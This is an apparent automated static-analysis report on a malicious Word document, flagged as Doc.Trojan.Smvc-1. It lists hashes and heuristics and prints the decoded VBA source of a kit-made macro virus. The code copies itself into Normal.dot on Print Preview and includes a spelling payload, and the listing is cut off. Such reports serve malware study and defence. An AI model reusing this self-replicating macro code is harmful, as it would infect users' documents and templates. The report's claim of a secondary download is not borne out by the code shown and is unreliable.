Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 44587d50d421124f…

MALICIOUS

Office (OLE)

33.0 KB Created: 2000-10-23 21:15:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 41a3f8580a80d2eb9bd1d9172e5837d9 SHA-1: 4d8c2458d8aa559de29ba11f1818c72cc9b992db SHA-256: 44587d50d421124f17147d472606b4df3d75f13017a86bd0bf0476ec0da375bb
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Doc.Trojan.Smvc-1. Static analysis revealed the presence of VBA macros within the document. These macros are highly suspicious and are likely responsible for downloading and executing a secondary malicious payload, a common tactic for initial compromise.

Heuristics 2

  • ClamAV: Doc.Trojan.Smvc-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Smvc-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4554 bytes
SHA-256: 04bd349019525176507d3100ac9e292ea3c102c9c13eed37e786b1b54c9b7497
Detection
ClamAV: Doc.Trojan.Smvc-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*
'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
'*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*
'   __   __
'  |  | |  |
' _|__|_|__|_   ____      ____   _________   _________   _________   ____   ____   ___   ________
'/           \ /    \    /    \ /         \ /         \ /         \ /    \ /    \ /   \ /        \
'|   ________| |     \  /     | |   ___   | |   ___   | |         | |    | |    | |   | |   _____/
'|  |          |      \/      | |  /   \  | |  /   \  | |         | |    | |    | \___/ |   |
'|  |________  |              | |  |   |  | |  |   |  | |__     __| |    |_|    |  ___  |   |__
'|           \ |              | |  |   |  | |  |   |  |    |   |    |           | |   | |      |
'|______     | |    |\  /|    | |  |   |  | |  |   |  |    |   |    |     _     | |   | |    __|
'       |    | |    | \/ |    | |  |   |  | |  |   |  |    |   |    |    | |    | |   | |   |
' ______|    | |    |    |    | |  \___/  | |  \___/  |    |   |    |    | |    | |   | |   |____
'|           | |    |    |    | |         | |         |    |   |    |    | |    | |   | |        \
'\___________/ \____/    \____/ \_________/ \_________/    \___/    \____/ \____/ \___/ \________/
'  |  | |  |                                                - $MOOTHiE Da HuStla [ZeroGravity]
'  |__| |__|                                                - August 15, 2000
'
'*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*
'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
'*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*

'Virus Creation: 10/23/00 9:14:02 PM
'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$
'$*  Poly       = No            $*
'$*  Retro      = No            $*
'$*  Stealth    = Low           $*
'$*  Infection  = Print Preview $*
'$*  Payload    = Spell         $*
'$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$*$


Sub FilePrintPreview()
On Error Resume Next
'Author:   $MOOTHiE Da HuStla [Zer0Gravity]
'Name:     Sample #1
'Comments: This is a random virus sample
'Origin:   USA
'This Word2000 virus was created using $MOOTHiE Da HuStla's Macro Virus Creator 2000 Ver 2.0

On Error Resume Next: Randomize: Dim DocCode As Object, NormCode As Object
Set AAA1 = ActiveDocument: Set AAA2 = AAA1.VBProject: Set AAA3 = AAA2.VBComponents
Set AAA4 = AAA3.Item(1): Set DocCode = AAA4.CodeModule
Set BBB1 = NormalTemplate: Set BBB2 = BBB1.VBProject: Set BBB3 = BBB2.VBComponents
Set BBB4 = BBB3.Item(1): Set NormCode = BBB4.CodeModule

XXXA = (23250758647918.7 - 23250758647918.7 + 46450978517.0678 + 46450978517.0678 - (46450978516.5678 * 2))
XXXB = (23250758647918.7 - 23250758647915.7 + 46450978517.0678 + 46450978517.0678 - (46450978517.0678 * 2))
AAA = NormCode.lines(XXXB, XXXA)
BBB = DocCode.lines(XXXB, XXXA)
CCC = ""

If AAA = CCC Then GoTo XXXC
If BBB = CCC Then GoTo XXXD

XXXC:
Do Until XXXE = DocCode.countoflines
XXXE = XXXE + XXXA

AAA = AAA + DocCode.lines(XXXE, XXXA) & vbCr
Loop
NormCode.insertlines XXXA, AAA
GoTo XXXF

XXXD:
Do Until XXXE = NormCode.countoflines
XXXE = XXXE + XXXA

AAA = AAA + NormCode.lines(XXXE, XXXA) & vbCr
Loop
DocCode.insertlines XXXA, CCC

XXXF:
ActiveDocument.Save: NormalTemplate.Save
ActiveDocument.PrintPreview 'Actual Print Preview Command
End Sub

Sub ToolsSpelling()
On Error Resume Next
Randomize
For XXX = 1 To 100
AAA = AAA + Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65) & Chr(Int(Rnd * 25) + 65)
Next XXX
Selection.
... (truncated)

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